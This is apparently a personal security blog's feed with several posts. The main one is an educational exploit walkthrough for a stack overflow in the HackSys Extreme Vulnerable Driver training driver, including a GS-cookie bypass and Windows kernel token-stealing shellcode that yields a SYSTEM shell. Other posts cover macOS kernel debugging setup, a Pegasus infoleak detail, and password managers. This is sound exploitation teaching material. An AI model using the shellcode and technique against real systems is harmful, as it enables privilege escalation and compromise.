klue-less thoughts

HEVD Stack Overflow GS

Tue, 05 Sep 2017 00:00:00 +0000

Lately, I've decided to play around with HackSys Extreme Vulnerable Driver (HEVD) for fun. It's a great way to familiarize yourself with Windows exploitation. In this blog post, I'll show how to exploit the stack overflow that is protected with /GS stack cookies on Windows 7 SP1 32 bit. You can find the source code here. It has a few more exploits written and a Win10 pre-anniversary version of the regular stack buffer overflow vulnerability.

Triggering the Vulnerable Function

To start, we need to find the ioctl dispatch routine in HEVD. Looking for the IRP_MJ_DEVICE_CONTROL IRP, we see that the dispatch function can be found at hevd+508e.

kd> !drvobj hevd 2
Driver object (852b77f0) is for:
 \Driver\HEVD
DriverEntry:   995cb129	HEVD
DriverStartIo: 00000000	
DriverUnload:  995ca016	HEVD
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      995c9ff2	HEVD+0x4ff2
[01] IRP_MJ_CREATE_NAMED_PIPE           995ca064	HEVD+0x5064
...
[0e] IRP_MJ_DEVICE_CONTROL              995ca08e	HEVD+0x508e
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     995ca064	HEVD+0x5064
[10] IRP_MJ_SHUTDOWN                    995ca064	HEVD+0x5064
[11] IRP_MJ_LOCK_CONTROL                995ca064	HEVD+0x5064
[12] IRP_MJ_CLEANUP                     995ca064	HEVD+0x5064
[13] IRP_MJ_CREATE_MAILSLOT             995ca064	HEVD+0x5064
[14] IRP_MJ_QUERY_SECURITY              995ca064	HEVD+0x5064
[15] IRP_MJ_SET_SECURITY                995ca064	HEVD+0x5064
...

Finding the ioctl request number requires very light reverse engineering. We want to end up eventually at hevd+515a. At hevd+50b4, the request number is subtracted by 222003h. If it was 222003h, then jump to hevd+5172, or else fall through to hevd+50bf. In this basic block, our ioctl request number is subtracted by 4. If the result is 0, we are where we want to be. Therefore, our ioctl number should be 222007h.

Eventually, a memcpy is reached where the calling function does not check the copy size.

To give the overflow code a quick run, we call it with benign input using the code below. You can find the implementation of mmap and write in the full source code.

def trigger_stackoverflow_gs(addr, size):
    dwReturn = c_ulong()
    driver_handle = kernel32.CreateFileW(DEVICE_NAME,
                                         GENERIC_READ | GENERIC_WRITE,
                                         0, None, OPEN_EXISTING, 0, None)
    if not driver_handle or driver_handle == -1:
        sys.exit()

    print "[+] IOCTL: 0x222007"
    dev_ioctl = kernel32.DeviceIoControl(driver_handle, 0x222007,
                                         addr, size,
                                         None, 0,
                                         byref(dwReturn), None)

m = mmap()
write(m, 'A'*10)
trigger_stackoverflow_gs(m, 10)

In WinDbg, the debug output confirms that we are calling the right ioctl.

From the figure, we can see that the kernel buffer is 0x200 in size so if we run a PoC again, but with 0x250 As, we should overflow the stack cookie and blue screens our VM.

Indeed, the bugcheck tells us that the system crashed due to a stack buffer overflow. Stack cookies in Windows are first XORed with ebp before they're stored on the stack. If we take the cookie in the bugcheck, and XOR it with 41414141, the result should resemble a stack address. Specifically, it should be the stack base pointer for hevd+48da.

kd> ? e9d25b91 ^ 41414141
Evaluate expression: -1466754352 = a8931ad0

Bypassing Stack Cookies

A common way to bypass stack cookies, introduced by David Litchfield, is to cause the program to throw an exception before the stack cookie is checked at the end of the function. This works because when an exception occurs, the stack cookie is not checked.

There are two ways [generating an exception] might happen--one we can control and the other is dependent of the code of the vulnerable function. In the latter case, if we overflow other data, for example parameters that were pushed onto the stack to the vulnerable function and these are referenced before the cookie check is performed then we could cause an exception here by setting this data to something that will cause an exception. If the code of the vulnerable function has been written in such a way that no opportunity exists to do this, then we have to attempt to generate our own exception. We can do this by attempting to write beyond the end of the stack.

For us, it's easy because the vulnerable function uses memcpy. We can simply force memcpy to segfault by letting it continue copying the source buffer all the way to unmapped memory.

I use my mmap function to map two adjacent pages, then munmap to unmap the second page. mmap and munmap are just simple wrappers I wrote for NtAllocateVirtualMemory and NtFreeVirtualMemory respectively. The idea is to place the source buffer at the end of the mapped page that was mapped, and have the vulnerable memcpy read off into the unmapped page to cause an exception.

To test this, we'll use the PoC code below.

m = mmap(size=0x2000)
munmap(m+0x1000)

trigger_stackoverflow_gs(m+0x1000-0x250, 0x251)

Back in the debugger, we can observe that an exception was thrown and eip was overwritten as a result of the exception handler being overwritten.

The next step is to find the offset of the As so we can control eip to point to shellcode. You can use a binary search type way to find the offset, but an easier method is to use a De Bruijn sequence as the payload. I usually use Metasploit's pattern_create.rb and pattern_offset.rb for finding the exact offset in my buffer.

The figure above shows us 41367241 overwrites the exception handler address and so also eip.

kd> .formats 41367241
Evaluate expression:
  Hex:     41367241
  Decimal: 1094087233
  Octal:   10115471101
  Binary:  01000001 00110110 01110010 01000001
  Chars:   A6rA
  Time:    Wed Sep  1 18:07:13 2004
  Float:   low 11.4029 high 0
  Double:  5.40551e-315

Reversing the order due to endianness, we get Ar6A which pattern_offset.rb tells us is offset 528 (0x210). Therefore, our source buffer will be of size 0x210+4, where the 4 is due to the address of our shellcode.

Constructing Shellcode

Since there is 0x1000-0x210-4 unused space in our allocated page, we can just put our shellcode in the beginning of the page. I use common Windows token stealing shellcode that basically iterates through the _EPROCESSs, looks for the SYSTEM process, and copies the SYSTEM process' token. Additionally, for convenience in breaking at the shellcode, I prepend the shellcode with a breakpoint (\xcc).

\xcc\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\x8b\x80\xb8\x00
\x00\x00\x2d\xb8\x00\x00\x00\x83\xb8\xb4\x00\x00\x00\x04\x75\xec\x8b\x90\xf8
\x00\x00\x00\x89\x91\xf8\x00\x00\x00

Our shellcode still isn't complete yet; the shellcode doesn't know where to return to after it executes. To search for a return address, let's inspect the call stack in the debugger when the shellcode executes.

kd> k
 # ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 a88cf114 82ab3622 0x1540000
01 a88cf138 82ab35f4 nt!ExecuteHandler2+0x26
02 a88cf15c 82ae73b5 nt!ExecuteHandler+0x24
03 a88cf1f0 82af005c nt!RtlDispatchException+0xb6
04 a88cf77c 82a79dd6 nt!KiDispatchException+0x17c
05 a88cf7e4 82a79d8a nt!CommonDispatchException+0x4a
06 a88cf868 995c9969 nt!KiExceptionExit+0x192
07 a88cf86c a88cf8b4 HEVD+0x4969
08 a88cf870 01540dec 0xa88cf8b4
09 a88cf8b4 41414141 0x1540dec
0a a88cf8b8 41414141 0x41414141
0b a88cf8bc 41414141 0x41414141
...
51 a88cfad0 995c99ca 0x41414141
52 a88cfae0 995ca16d HEVD+0x49ca
53 a88cfafc 82a72593 HEVD+0x516d
54 a88cfb14 82c6699f nt!IofCallDriver+0x63

hevd+4969 is the instruction address after the memcpy, but we can't return here because the portion of stack the remaining code uses is corrupted. Fixing the stack to the correct values would be extremely annoying. Instead, returning to hevd+49ca which is the return address of the stack frame right below hevd+4969 makes more sense.

However, if you adjust the stack and return to hevd+49ca, you'll still get a crash. The problem is at hevd+5260 where edi+0x1c is dereferenced. edi at this point is 0 because registers are XORed with themselves before the exception handler assumes control and neither the program nor our shellcode touched edi.

In a normal execution, edi and other registers are restored in __SEH_epilog4. These values are of course restored from the stack. Taking a88cf86c from the stack trace before, we can dump and attempt to find the restore values. They're actually are quite easy to find here because hevd+5dcc is quite easy to spot. hevd+5dcc is the address of the debug print string which is restored into ebx.

kd> dds a88cf86c
a88cf86c  995c9969 HEVD+0x4969
a88cf870  a88cf8b4
a88cf874  01540dec
a88cf878  00000218
a88cf87c  995ca760 HEVD+0x5760
a88cf880  995ca31a HEVD+0x531a
a88cf884  00000200
a88cf888  995ca338 HEVD+0x5338
a88cf88c  a88cf8b4
a88cf890  995ca3a2 HEVD+0x53a2
a88cf894  00000218
a88cf898  995ca3be HEVD+0x53be
a88cf89c  01540dec
a88cf8a0  31d15d0b
a88cf8a4  8c843f68 <-- edi
a88cf8a8  8c843fd8 <-- esi
a88cf8ac  995cadcc HEVD+0x5dcc <-- ebx
a88cf8b0  455f5359
a88cf8b4  41414141
a88cf8b8  41414141

To obtain the offset of edi, just subtract esp from the current address of the restore value.

kd> ? a88cf8a4 - esp
Evaluate expression: 1932 = 0000078c
kd> dds a88cfad0 la
a88cfad0  a88cfae0
a88cfad4  995c99ca HEVD+0x49ca
a88cfad8  01540dec
a88cfadc  00000218
a88cfae0  a88cfafc
a88cfae4  995ca16d HEVD+0x516d
a88cfae8  8c843f68
a88cfaec  8c843fd8
a88cfaf0  86c3c398
a88cfaf4  8586f5f0
kd> ? a88cfad0 - esp
Evaluate expression: 2488 = 000009b8

Similarly, finding the offset to return to is found by obtaining the difference of a88cfad0 and esp.

Lastly, our shellcode should pop ebp; ret 8; which results in

start:
  xor eax, eax;
  mov eax,dword ptr fs:[eax+0x124]; # nt!_KPCR.PcrbData.CurrentThread
  mov eax,dword ptr [eax+0x50];     # nt!_KTHREAD.ApcState.Process
  mov ecx,eax;                      # Store unprivileged _EPROCESS in ecx
loop:
  mov eax,dword ptr [eax+0xb8];     # Next nt!_EPROCESS.ActiveProcessLinks.Flink
  sub eax, 0xb8;                    # Back to the beginning of _EPROCESS
  cmp dword ptr [eax+0xb4],0x04;    # SYSTEM process? nt!_EPROCESS.UniqueProcessId
  jne loop;
stealtoken:
  mov edx,dword ptr [eax+0xf8];     # Get SYSTEM nt!_EPROCESS.Token
  mov dword ptr [ecx+0xf8],edx;     # Copy token
restore:
  mov edi, [esp+0x78c];             # edi irq
  mov esi, [esp+0x790];             # esi
  mov ebx, [esp+0x794];             # move print string into ebx
  add esp, 0x9b8;
  pop ebp;
  ret 0x8;

Gaining NT Authority\SYSTEM

Putting everything together, the final exploit looks like this.

m = mmap(size=0x2000)
munmap(m+0x1000)
size = 0x210+4

sc = '\x31\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x50\x89\xc1\x8b\x80\xb8\x00\x00\x00\x2d\xb8\x00\x00\x00\x83\xb8\xb4\x00\x00\x00\x04\x75\xec\x8b\x90\xf8\x00\x00\x00\x89\x91\xf8\x00\x00\x00\x8b\xbc\x24\x8c\x07\x00\x00\x8b\xb4\x24\x90\x07\x00\x00\x8b\x9c\x24\x94\x07\x00\x00\x81\xc4\xb8\x09\x00\x00\x5d\xc2\x08\x00'
write(m, sc + 'A'*(0x1000-4-len(sc)) + struct.pack("<I", m))
trigger_stackoverflow_gs(m+0x1000-size, size+1)

print '\n[+] Privilege Escalated\n'
os.system('cmd.exe')

And that should give us:

Debugging macOS Kernel using VirtualBox

Mon, 10 Apr 2017 00:00:00 +0000

Update: In the HN discussion, awalton mentioned you can set CPUID flags in VMWare. Simply adding cpuid.7.ebx = "-----------0--------------------" to the vmx file will disable SMAP.

Late last year, I upgraded my old MBP to the 2016 model with a Skylake processor. As I was debugging a kernel exploit, it turned out that SMAP was enabled inside my VMWare Fusion VM. I wanted to avoid dealing with SMAP, but couldn't figure out how to disable it in Fusion. Luckily, VirtualBox VMs do not support SMAP (yet?).

This post will be a step-by-step guide on how to setup macOS kernel source-level debugging using VirtualBox. Though all the step examples are geared toward VirtualBox, this guide can also be used to setup kernel debugging on VMWare Fusion since it's even more straightforward in Fusion.

Installing VirtualBox and Sierra

If you don't already have a macOS VirtualBox VM, we must first install the target macOS on a VM. You can either provide the vmdk from a VMWare Fusion VM, or create a fresh VM. VirtualBox requires an ISO image to install the OS for newly created VMs. The commands below can be used to create an ISO from the Sierra install app obtained from the Mac app store.

$ hdiutil attach /Applications/Install\ macOS\ Sierra.app/Contents/SharedSupport/InstallESD.dmg -noverify -nobrowse -mountpoint /Volumes/installesd
$ hdiutil create -o /tmp/Sierra -size 8g -type SPARSE -layout SPUD -fs HFS+J
$ hdiutil attach /tmp/Sierra.sparseimage -noverify -nobrowse -mountpoint /Volumes/install
$ asr restore -source /Volumes/installesd/BaseSystem.dmg -target /Volumes/install -noprompt -noverify -erase
$ rm /Volumes/OS\ X\ Base\ System/System/Installation/Packages
$ cp -rp /Volumes/installesd/Packages /Volumes/OS\ X\ Base\ System/System/Installation/
$ cp -rp /Volumes/installesd/BaseSystem.dmg /Volumes/OS\ X\ Base\ System/BaseSystem.dmg
$ cp -rp /Volumes/installesd/BaseSystem.chunklist /Volumes/OS\ X\ Base\ System/BaseSystem.chunklist
$ hdiutil detach /Volumes/installesd
$ hdiutil detach /Volumes/OS\ X\ Base\ System/
$ hdiutil resize -sectors min /tmp/Sierra.sparseimage
$ hdiutil convert /tmp/Sierra.sparseimage -format UDTO -o /tmp/Sierra
$ rm /tmp/Sierra.sparseimage
$ mv /tmp/Sierra.cdr /tmp/Sierra.iso

Networking

If you are using a bridged adapter, there isn't anything special you need to do.

If you decide to go with NAT, you'll need to enable port forwarding for KDP to work with the VM. In the adapter settings, choose Advanced\(\rightarrow\)Port Forwarding. We need to reach 41139/UDP on the debugee VM, so I forward localhost 41139/UDP to the VM's 41139/UDP.

Installing XCode

Install XCode on your host machine. The easiest way is to install it from the Mac app store. After installing, accepting the XCode license is required either by opening XCode and accepting, or through command line.

$ sudo xcodebuild -license accept

Install Kernel Debug Kit (KDK) on

On our host debugger machine, we need to install the KDK from the Apple Developer site corresponding to our debugee macOS version and build. In this guide, I used 10.12 build 16A323.

The KDK installs to /Library/Developer/KDKs and provides RELEASE, DEVELOPMENT, and DEBUG kernels for macOS, as well as symbols for these kernels and various Apple kexts. The difference between the different kernels is that the DEVELOPMENT and DEBUG kernels have additional assertions and error checking compared to RELEASE with the DEBUG build having even more than DEVELOPMENT.

Note: The debugee system does not need to have the KDK installed.

Update nvram boot-args

In order to debug the VM, we must set the debug option of boot-args in nvram on our debugee VM. There are numerous options in addition to debug that we can use. Below are a few that could be of interest including debug.

-v: Always boot the system in verbose mode.
kcsuffix: Specifies which kernel to boot using a given suffix.
pmuflags: Many people still seem to recommend setting this option to 1. However, Apple's Kernel Programming Guide says the power management watchdog timer "is only present in G4 and earlier desktops and laptops and in early G5 desktops", and the other primary watchdog timer is "normally only enabled in OS X Server." Thus, this option doesn't seem to do anything, though setting it doesn't hurt.
-zc zlog1=<zone_name>: zc in conjunction with zlog# logs both allocations and frees to the specified zone where # is 1-5.
debug: This option allows us to perform remote kernel debugging. Available flags are listed in the Apple docs. I usually use DB_LOG_PI_SCRN | DB_ARP | DB_NMI.
- Non-maskable interrupts (NMI) can be triggered by pressing control + option + command + shift + escape. Triggering an NMI will break in the debugger which is super convenient. This key combo does not play well with VirtualBox when it covers the host key combo so I rebound the host key to right command + right option.

Modifying nvram

In VMWare Fusion, you modify nvram using the nvram command like so:

$ sudo nvram boot-args="-v debug=0x144"

On VirtualBox, you'll find it's not so easy. After a reboot, the nvram modifications will have disappeared. VirtualBox User Manual §3.13.2 sheds some light:

It is currently not possible to manipulate EFI variables from within a running guest (e.g., setting the "boot-args" variable by running the nvram tool in a Mac OS X guest will not work). As an alternative way, "VBoxInternal2/EfiBootArgs" extradata can be passed to a VM in order to set the "boot-args" variable. To change the "boot-args" EFI variable:

Thus, we need to shutdown our VM and run the commands below on our host.

$ VBoxManage list vms # take the UUID to use in the next command
"macOS 10.12.0" {9ad936f8-9360-44a6-ba3e-c4d92b4243e8}
$ VBoxManage setextradata 9ad936f8-9360-44a6-ba3e-c4d92b4243e8 VBoxInternal2/EfiBootArgs "-v debug=0x144"

Swapping Kernels

I alluded to debugging different builds of kernels previously, mentioning that the kcsuffix option specifies which kernel build to use. The kernel file must be at /System/Library/Kernels on the debugee VM. It should not be a surprise that this directory is protected by System Integrity Protection (SIP). Therefore, if you want to use a KDK kernel or a self-compiled kernel, you must first boot into recovery, copy the target kernel to the above directory, invalidate the kext cache, and then reboot.

Reliably Booting into Recovery

In Fusion, booting into recovery mode using cmd+R is as easy as doing so on a physical machine. VirtualBox, on the other hand, requires a few more steps.

When booting the VM, hit F12, and select Boot Manager\(\rightarrow\)EFI Internal Shell. You will be greeted by an EFI shell. To boot into recovery, type:

FS2:\com.apple.recovery.boot\boot.efi

Once the recovery GUI loads, launch a terminal, move the target kernels, then invalidate the kextcache.

# mv /path/to/kernels/kernel.development /System/Library/Kernels
# kextcache -invalidate /Volumes/Macintosh\ HD
# reboot

Before reboot, you can optionally disable SIP if desired.

# csrutil disable
Successfully disabled System Integrity Protection. Please restart the machine for the changes to take effect.

Source-level Debugging

Download the XNU source code corresponding to the debuggee XNU version. To gain source-level debugging, LLDB will look in /Library/Caches/com.apple.xbs/Sources/xnu/xnu-... for the kernel source. You can either place the downloaded source there, or create a symlink there that points to the source. Alternatively, you can also set target.source-map in LLDB.

lldb> settings set target.source-map /Library/Caches/com.apple.xbs/Sources/xnu/xnu-3789.1.32 /Users/kedy/Downloads/xnu-3789.1.32

Previous versions of macOS like Yosemite, you had to place source code in /SourceCache/xnu/.

Setting up LLDB

Finally now, we can break out the debugger. The example below sets the target file to the RELEASE kernel build.

To use the XNU LLDB macros in Sierra KDK, the macholib Python module is required now. A simple pip install macholib should do the trick. To use the nifty LLDB macros, copy paste the KDK debug script command that is prompted when you first set the target file to a KDK kernel.

After triggering an NMI (or waiting for debugger to halt the boot process if you chose DB_HALT flag), connect to the debugee with the command kdp-remote <ip> where <ip> is the IP address (localhost if you used the NAT port forwarding).

$ lldb /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel
(lldb) target create "/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel"
warning: 'kernel' contains a debug script. To run this script in this debug session:

    command script import "/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py"

To run all discovered debug scripts in this session:

    settings set target.load-script-from-symbol-file true

Current executable set to '/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel' (x86_64).
(lldb) command script import "/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py"
Loading kernel debugging from /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/kernel.py
LLDB version lldb-370.0.40
  Swift-3.1
settings set target.process.python-os-plugin-path "/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/core/operating_system.py"
settings set target.trap-handler-names hndl_allintrs hndl_alltraps trap_from_kernel hndl_double_fault hndl_machine_check _fleh_prefabt _ExceptionVectorsBase _ExceptionVectorsTable _fleh_undef _fleh_dataabt _fleh_irq _fleh_decirq _fleh_fiq_generic _fleh_dec
command script import "/Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel.dSYM/Contents/Resources/DWARF/../Python/lldbmacros/xnu.py"
xnu debug macros loaded successfully. Run showlldbtypesummaries to enable type summaries.


(lldb) kdp-remote 192.168.149.184
Version: Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64; UUID=17EA3101-D2E4-31BF-BDA9-931F51049F93; stext=0xffffff8007a00000
Kernel UUID: 17EA3101-D2E4-31BF-BDA9-931F51049F93
Load Address: 0xffffff8007a00000
Kernel slid 0x7800000 in memory.
Loaded kernel file /Library/Developer/KDKs/KDK_10.11.2_15C50.kdk/System/Library/Kernels/kernel
Target arch: x86_64
Instantiating threads completely from saved state in memory.
Loading 82 kext modules warning: Can't find binary/dSYM for com.apple.kec.corecrypto (491718F5-B509-31DC-92B5-6BAC95E3F494)
.warning: Can't find binary/dSYM for com.apple.kec.pthread (0888BA0A-49EE-394A-AEB1-1E5C6838A1F2)

(omitted...)

. done.
kernel was compiled with optimization - stepping may behave oddly; variables may not be available.
Process 1 stopped
* thread #2, name = '0xffffff800db8b000', queue = '0x0', stop reason = signal SIGSTOP
    frame #0: 0xffffff8007bd655e kernel`Debugger(message=<unavailable>) at model_dep.c:1020 [opt]
   1017
   1018		doprnt_hide_pointers = old_doprnt_hide_pointers;
   1019		__asm__("int3");
-> 1020		hw_atomic_sub(&debug_mode, 1);
   1021	}
   1022
   1023	char *
(lldb)

Voila, source-level debugging macOS kernel!

A Shifty Detail in Pegasus

Tue, 07 Mar 2017 00:00:00 +0000

Late last year, Pegasus received all the buzz in the macOS/iOS scene. The spyware was used by nation state actors, targeting human rights defender Ahmed Mansoor. Developed by NSO Group in Israel, the malware is usually introduced via a malicious link through text message, and is capable of gaining remote kernel code execution on the target iOS device's before jailbreaking and installing itself onto the victim device.

Pegasus leverages 3 vulnerabilities collectively known as Trident-- a webkit memory corruption, a kernel infoleak, and another memory corruption in the kernel. Countless posts have been posted accompanied with proof-of-concepts for the kernel portion of Trident. This post isn't going to cover the details of the kernel exploits chain like the others. Instead, I just wanted to highlight and explain a minor detail in the infoleak portion that could cause some confusion.

Recall that the infoleak vulnerability resided in OSUnserializeBinary's big switch case for kOSSerializeNumber where len is passed to initialize an OSNumber, but is never checked.

    case kOSSerializeNumber:
        bufferPos += sizeof(long long);
        if (bufferPos > bufferSize) break;
        value = next[1];
        value <<= 32;
        value |= next[0];
        o = OSNumber::withNumber(value, len);
        next += 2;
        break;

Digging deeper down, we can see exactly how an OSNumber is initialized when going through OSUnserializeBinary. In the snippet below, the actual value of the OSNumber is obtained through the provided value logical anded with the sizeMask. The sizeMask is a pound defined value in the beginning of the file that that basically just masks out any bits not used by our value.

#define sizeMask (~0ULL >> (64 - size))

bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits)
{
    if (!super::init())
        return false;

    size = newNumberOfBits;
    value = (inValue & sizeMask);

    return true;
}

As I was trying to understand the Trident infoleak, I couldn't wrap my head around how everyone was able to leak the return address of is_io_registry_entry_get_property_bytes and, in addition, leak the OSNumber value using a len of 0x200. For example, the output below is from my PoC exploit.

[.] leaked data:
    0x4242424241414141 <-- OSNumber value
    0xffffff802c274584
    0xffffff802c76c400
    0x4
    0xffffff80296245a0
    0xffffff802c2745b4
    0xffffff887e9e3e30
    0xffffff801ed962cf <-- return address

Quoting the C++ standard (2014 draft) chapter 5.8:

The behavior is undefined if the right operand is negative, or greater than or equal to the length in bits of the promoted left operand.

Just to do a quick test, I ran

$ cat foo.cpp
#include <stdio.h>

int main(int argc, char **argv) {
    printf("%#llx\n", ~0ULL >> (0x40 - 0x200));

    return 0;
}
$ ./foo
0x7fff5a1fa6b8
$ ./foo
0x7fff532f26b8
$ ./foo
0x7fff5db0c6b8

So naturally, I thought that the leaked data that corresponded to the OSNumber value would just be garbage, but this was not what I was seeing. I was seeing the whole 64 bits of constructed data. Perplexed but intrigued, I decided to get to the bottom of this even though it doesn't really matter for the actual exploit.

Shortly after I wrote the test program above, I realized that the compiler might have optimized the program to not include the shift. If you disassemble it, you can confirm that's indeed the case. Whatever was in the counter register is actually passed as the second parameter of printf which is why it looks like we're printing stack addresses. Instead of writing another test program, I decided to just take a look at the disassembled OSNumber::init.

Here, edx is newNumberOfBits which is assigned to size. ecx is 0x40 (64 decimal). ecx subtracts our size edx, and the least significant byte becomes our shift count. After the subtraction, ecx should become 0xfffffe40 (0x40-0x200), and thus cl becomes 0x40 which is exactly the bit length of an unsigned long long. Still, intuition would say that logical right shift of the whole bit length would result in 0.

The behavior we're seeing is quickly explained when we look at Intel 64 and IA-32 architectures software developer's manual's section about SAL/SAR/SHL/SHR.

The count operand can be an immediate value or the CL register. The count is masked to 5 bits (or 6 bits if in 64-bit mode and REX.W is used). The count range is limited to 0 to 31 (or 63 if 64-bit mode and REX.W is used). A special opcode encoding is provided for a count of 1.

...

In 64-bit mode, the instruction's default operation size is 32 bits and the mask width for CL is 5 bits. Using a REX prefix in the form of REX.R permits access to additional registers (R8-R15). Using a REX prefix in the form of REX.W promotes operation to 64-bits and sets the mask width for CL to 6 bits. See the summary chart at the beginning of this section for encoding data and limits.

Indeed, the corresponding opcode is 48 D3 E8 which has the REX.W prefix. Masking 6 bits means that an Intel processor will shift at most \(2^6-1=63\) bits before cycling back to 0 shift count.

Modifying our original test program slightly, we can see this exact behavior.

$ cat foo.cpp
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    printf("%#llx\n", ~0ULL >> (0x40 - atoi(argv[1])));

    return 0;
}
$ for i in `seq 0 70`; do echo $i: `./foo $i`; done
0: 0xffffffffffffffff
1: 0x1
2: 0x3
3: 0x7
...
60: 0xfffffffffffffff
61: 0x1fffffffffffffff
62: 0x3fffffffffffffff
63: 0x7fffffffffffffff
64: 0xffffffffffffffff
65: 0x1
66: 0x3
67: 0x7
68: 0xf
69: 0x1f
70: 0x3f

In hindsight, shifting 0 bits obviously should produce 0xffffffffffffffff and using 6 bit mask for 64 bit length also obviously makes sense. None of this has any bearing on the Pegasus/Trident infoleak portion as long as the length is greater or equal to 512; I just found this minor detail interesting.

How to think about password managers

Thu, 02 Mar 2017 00:00:00 +0000

There exist numerous methods to authenticate a user to a system, but using only passwords continues to be the dominating choice [1, 2]. Under these circumstances, ideally, a user would have strong, unique passwords for each account that he or she has. However, this is an unrealistic expectation for the average human being. Thus largely, the general population uses a handful of weak passwords for all of their user accounts.[3, 4, 5, 6]

At an attempt to alleviate this problem, password managers were introduced. A password manager is a program that stores and organizes all of a user's passwords. Access to a user's passwords in the password manager typically requires knowledge of a "master password." This pushes the burden of remembering strong, unique passwords from the human user to a software application.

Fairly often, the topic will come up whether to use a password manager or not. It is argued back and forth. In my opinion, password managers are one of the best things since sliced bread. There's no better feeling than using a random 50 character password or using openssl rand -base64 5 output as an answer to a security question (I use 5 bytes because if I want to get anything done with a support line over the phone, it's more realistic to spell out a 7 character string than 50 character string).

I've noticed, though, that many tech savvy people are reluctant to adopt such a technology. I know plenty of security professionals that use either the same password for all accounts or use a handful of passwords in a tiered fashion (one password for important accounts, another for less sensitive accounts, another for the ones they care about even less, and so on). The average non-technical person, in my experience, is quick to adopt password managers once they discover such apps, but it's frustrating to me how information security professionals are so stubborn to do the same.

The biggest excuse I hear is probably "I don't want all my eggs in one basket," though there are others [7]. At first, this tradeoff makes it unclear whether using a password manager is any safer than the traditional method of memorization. To tackle this problem, we really need to change the way we think about password managers. They shouldn't be thought of as "password vaults," but "password strengtheners." Here, I will describe the proper way to utilize password managers such that they are in theory no less safe than using pure memorization.

Assume user Alice is currently using a 2-tier password scheme with the passwords \(P_1\) for important accounts (email, bank) and \(P_2\) for the rest of her accounts. In this scenario, we will require Alice to come up with a separate master password. The strength of the master password does not actually matter as our proof does not rely on it.

To login to her bank account, Alice should take the password entry in the password manager for her bank account, and incorporate it with her password \(P_1\). "Incorporate" entails somehow merging the two -- most likely prepending or appending the entry to \(P_1\). The idea is the password entry in her password manager adds to the strength and complexity of her original password \(P_1\). A similar method should also be adopted for accounts with password \(P_2\).

Notice how other than retrieving the password from the password manger, the way Alice uses her passwords does not need to change. As we have seen she still "uses" password \(P_1\) for important accounts and can use \(P_2\) for less sensitive accounts. The password manager passwords merely strengthened her original passwords.

Now, let's revisit the "eggs in one basket" problem again. There are two scenarios:

Alice's password vault is somehow compromised (e.g. LastPass vendor compromise [8] or Tavis Ormandy ;) [9]). In this case, the strength of her passwords falls back to the original strength of \(P_1\) for important accounts and \(P_2\) for the rest of her accounts.
Alice's computer is compromised, e.g. infected with malware. In this case, we can assume the password vault would also be compromised since it just takes unlocking it once for malware to log the master password. At this point, the security of her accounts, password-wise, is in the same state as it was in situation 1. We can thus conclude, again, that the strength of her passwords falls back to \(P_1\) or \(P_2\) (that, and both \(P_1\) and \(P_2\) are logged by the malware once she attempts to logging into accounts).

In both situations, the use of a password manager isn't any less safe than traditional memorization alone in theory. The proposed method does not solely rely on the password manager for the security of Alice's account; its function is to strengthen her existing passwords.

The caveat here is, as you probably guessed, the phrase "in theory." In reality, it's a little more nuanced than the above scenarios and their assumptions. The password manager technically does open up attack surface. As an example, when I open 1Password on macOS, it opens up a few ports. Port 49506 is the port used for local LAN syncing of passwords between devices (which can be disabled in the app).

    $ sudo lsof -iTCP -sTCP:LISTEN -P -n | awk '{print $1, $3, $5, $9, $10}' | column -t
    COMMAND    USER  TYPE  NAME
    ...
    2BUA8C4S2  kedy  IPv4  *:49506          (LISTEN)
    2BUA8C4S2  kedy  IPv6  *:49506          (LISTEN)
    2BUA8C4S2  kedy  IPv4  127.0.0.1:6258   (LISTEN)
    2BUA8C4S2  kedy  IPv6  [::1]:6258       (LISTEN)
    2BUA8C4S2  kedy  IPv4  127.0.0.1:6263   (LISTEN)
    2BUA8C4S2  kedy  IPv6  [::1]:6263       (LISTEN)

The service listening on 0.0.0.0 increases the attack surface. Therefore, the chance of falling into situation 2 above increases. Though given the choice of picking between a slightly increased attack surface vs strong passwords, I would pick the latter any day.

Lastly, I'll note that using this method of password managers means that you won't be able to use any accompanying password manager browser extensions. Although honestly, you probably shouldn't be anyway -- copy pasting is the safest way to go. In addition, you should also consider

avoiding the builtin browser
avoid using the cloud to sync passwords
disabling any listening services if possible, or block the listening ports with your host firewall
sync password vault manually (e.g. use iExplorer to transfer 1Password's sqlite db)

[1] http://research.microsoft.com/pubs/161585/QuestToReplacePasswords.pdf
[2] http://users.ics.forth.gr/~elathan/papers/eurosec15.pdf
[3] http://cyberside.planet.ee/docs/www2007-A%20Large-Scale%20Study%20of%20Web%20Password%20Habits.pdf
[4] https://cups.cs.cmu.edu/soups/2006/proceedings/p44_gaw.pdf
[5] http://www.canberra.edu.au/cis/storage/CIS_PayPal_Whitepaper_FINAL.pdf
[6] http://www.csid.com/wp-content/uploads/2012/09/CS_PasswordSurvey_FullReport_FINAL.pdf
[7] https://www.internetsociety.org/sites/default/files/08%20why-do-people-adopt-or-reject-smartphone-password-managers.pdf
[8] https://blog.lastpass.com/2015/06/lastpass-security-notice.html/
[9] P0 issue 884, 888, 890

hello world

Mon, 27 Feb 2017 13:35:45 -0500

Hello world. This is my blog.

